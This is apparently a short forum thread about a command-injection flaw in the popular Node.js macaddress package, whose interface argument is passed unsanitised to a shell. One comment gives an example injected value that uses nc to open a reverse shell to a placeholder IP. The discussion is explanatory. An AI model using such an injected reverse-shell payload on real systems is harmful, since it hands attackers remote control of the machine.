If some user input is going into anything this library uses you can take over the box pretty much, execute anything you want (at the user level of node).

Probably really hard to figure out what user input triggers that to be honest unless you have the source code of the app.

This package has nearly 100M downloads a year which is pretty astonishing.

I get that part, but in what scenario will user input actually be provided to this package? It feels like this is highly unlikely and that there probably won't be any cases where this will actually be an issue. I may be wrong though, I just can't think of anything.

An example off the top of my head would be some sort of IoT device which has a drop-down to communicate via 4G, WiFi, ethernet etc. I'd be they'd put the value of the select to be the interface name and wouldn't check input value, so you could craft a special request with a bad value. But I do agree; not super easy to exploit.

The more worrying fact is something like this which could easily be drawn in to 100m installs.

Anything which passes "iface" through without sanitising it.

The argument to exec is executed in a shell, so it can execute just about anything it likes, such as dialing out to a host under the attacker's control and giving it direct shell access.

e.g.

    macaddress.one(";nc 1.2.3.4 4444 –e /bin/sh;", () => {})

I think the OP was trying to imagine a scenario where a potentially malicious user would be asked to pass in the interface string.